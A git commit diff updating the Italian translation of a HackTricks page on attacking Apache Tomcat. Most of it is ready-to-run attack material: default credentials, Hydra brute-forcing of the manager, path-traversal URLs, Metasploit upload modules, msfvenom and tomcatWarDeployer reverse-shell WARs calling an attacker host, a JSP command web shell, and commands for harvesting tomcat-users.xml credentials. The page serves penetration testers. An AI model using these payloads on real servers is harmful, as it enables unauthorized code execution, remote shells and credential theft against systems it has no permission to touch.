mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['network-services-pentesting/pentesting-web/tomcat/README.md
This commit is contained in:
parent
2e0317d5ef
commit
644f33980c
1 changed files with 16 additions and 44 deletions
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -25,33 +25,29 @@
|
|||
* Di solito funziona sulla **porta 8080**
|
||||
* **Errore comune di Tomcat:**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (147).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Enumerazione
|
||||
|
||||
### **Identificazione della Versione**
|
||||
|
||||
Per trovare la versione di Apache Tomcat, è possibile eseguire un semplice comando:
|
||||
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
|
||||
### **Posizione dei File del Manager**
|
||||
|
||||
Identificare le posizioni esatte delle directory **`/manager`** e **`/host-manager`** è cruciale poiché i loro nomi potrebbero essere modificati. Si consiglia di effettuare una ricerca brute-force per individuare queste pagine.
|
||||
Identificare le posizioni esatte delle directory **`/manager`** e **`/host-manager`** è cruciale poiché i loro nomi potrebbero essere modificati. Si consiglia una ricerca brute-force per individuare queste pagine.
|
||||
|
||||
### **Enumerazione degli Username**
|
||||
|
||||
Per le versioni di Tomcat precedenti alla 6, è possibile enumerare gli username tramite:
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
|
||||
### **Credenziali predefinite**
|
||||
|
||||
La directory **`/manager/html`** è particolarmente sensibile in quanto consente il caricamento e il rilascio di file WAR, che possono portare all'esecuzione del codice. Questa directory è protetta da autenticazione HTTP di base, con le credenziali comuni che sono:
|
||||
La directory **`/manager/html`** è particolarmente sensibile in quanto consente il caricamento e il rilascio di file WAR, che possono portare all'esecuzione di codice. Questa directory è protetta da autenticazione HTTP di base, con le credenziali comuni che sono:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -61,21 +57,17 @@ La directory **`/manager/html`** è particolarmente sensibile in quanto consente
|
|||
* admin:tomcat
|
||||
|
||||
Queste credenziali possono essere testate utilizzando:
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
|
||||
Un'altra directory importante è **`/manager/status`**, che visualizza la versione di Tomcat e del sistema operativo, facilitando l'identificazione delle vulnerabilità.
|
||||
|
||||
### **Attacco di Forza Bruta**
|
||||
|
||||
Per tentare un attacco di forza bruta sulla directory del manager, si può utilizzare:
|
||||
|
||||
Per tentare un attacco di forza bruta alla directory del manager, si può utilizzare:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
|
||||
## Vulnerabilità Comuni
|
||||
|
||||
### **Rivelazione della Password tramite Backtrace**
|
||||
|
@ -86,11 +78,11 @@ L'accesso a `/auth.jsp` potrebbe rivelare la password in un backtrace in circost
|
|||
|
||||
La vulnerabilità CVE-2007-1860 in `mod_jk` consente la doppia codifica dell'URL per il path traversal, consentendo l'accesso non autorizzato all'interfaccia di gestione tramite un URL appositamente creato.
|
||||
|
||||
Per accedere alla web management di Tomcat vai a: `pathTomcat/%252E%252E/manager/html`
|
||||
Per accedere alla gestione web di Tomcat, vai a: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono suscettibili a rivelazioni di informazioni e attacchi di cross-site scripting (XSS). Questi script, elencati in modo esaustivo, dovrebbero essere controllati per l'accesso non autorizzato e potenziale sfruttamento. Trova [ulteriori informazioni qui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono suscettibili a rivelazioni di informazioni e attacchi di cross-site scripting (XSS). Questi script, elencati in modo esaustivo, dovrebbero essere controllati per l'accesso non autorizzato e potenziali sfruttamenti. Trova [ulteriori informazioni qui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -115,7 +107,7 @@ Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono s
|
|||
* /examples/servlet/SessionExample
|
||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **Sfruttamento del Path Traversal**
|
||||
### **Sfruttamento del Traversal del Percorso**
|
||||
|
||||
In alcune [**configurazioni vulnerabili di Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) è possibile accedere alle directory protette in Tomcat utilizzando il percorso: `/..;/`
|
||||
|
||||
|
@ -130,7 +122,6 @@ Infine, se hai accesso al Tomcat Web Application Manager, puoi **caricare e dist
|
|||
### Limitazioni
|
||||
|
||||
Sarai in grado di distribuire un WAR solo se hai **abbastanza privilegi** (ruoli: **admin**, **manager** e **manager-script**). Questi dettagli possono essere trovati in _tomcat-users.xml_ di solito definito in `/usr/share/tomcat9/etc/tomcat-users.xml` (varia tra le versioni) (vedi [POST](./#post) sezione).
|
||||
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -140,9 +131,9 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
|
|||
# undeploy
|
||||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||||
```
|
||||
|
||||
### Metasploit
|
||||
|
||||
Metasploit è uno strumento molto potente e flessibile per testare la sicurezza dei sistemi informatici. Offre una vasta gamma di moduli che possono essere utilizzati per eseguire test di penetrazione su server Tomcat vulnerabili. Utilizzando Metasploit in modo corretto, è possibile identificare e sfruttare con successo le vulnerabilità presenti in un server Tomcat.
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
|
@ -151,15 +142,12 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||
```
|
||||
### Shell Inversa MSFVenom
|
||||
|
||||
### Guscio Inverso MSFVenom
|
||||
|
||||
1. Creare il file war da distribuire:
|
||||
|
||||
1. Crea il file war da distribuire:
|
||||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
|
||||
2. Carica il file `revshell.war` e accedi ad esso (`/revshell/`):
|
||||
|
||||
### Shell di bind e reverse con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
@ -167,33 +155,24 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
|
|||
In alcuni scenari questo non funziona (ad esempio vecchie versioni di sun)
|
||||
|
||||
#### Download
|
||||
|
||||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
|
||||
#### Shell inversa
|
||||
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
|
||||
#### Shell di bind
|
||||
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
|
||||
### Utilizzando [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
|
||||
### Utilizzo di [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
```bash
|
||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||
```
|
||||
|
||||
### Metodo manuale - Web shell
|
||||
|
||||
Crea **index.jsp** con questo [contenuto](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
|
||||
```java
|
||||
<FORM METHOD=GET ACTION='index.jsp'>
|
||||
<INPUT name='cmd' type=text>
|
||||
|
@ -224,35 +203,28 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
|
||||
Puoi anche installare questo (consente di caricare, scaricare ed eseguire comandi): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### Metodo Manuale 2
|
||||
|
||||
Ottieni una web shell JSP come [questa](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) e crea un file WAR:
|
||||
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
||||
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
||||
```
|
||||
|
||||
## POST
|
||||
|
||||
Il nome del file delle credenziali di Tomcat è _tomcat-users.xml_
|
||||
|
||||
```bash
|
||||
find / -name tomcat-users.xml 2>/dev/null
|
||||
```
|
||||
|
||||
Altri modi per raccogliere le credenziali di Tomcat:
|
||||
|
||||
```bash
|
||||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
|
||||
## Altri strumenti di scansione per tomcat
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
@ -270,10 +242,10 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
Loading…
Reference in a new issue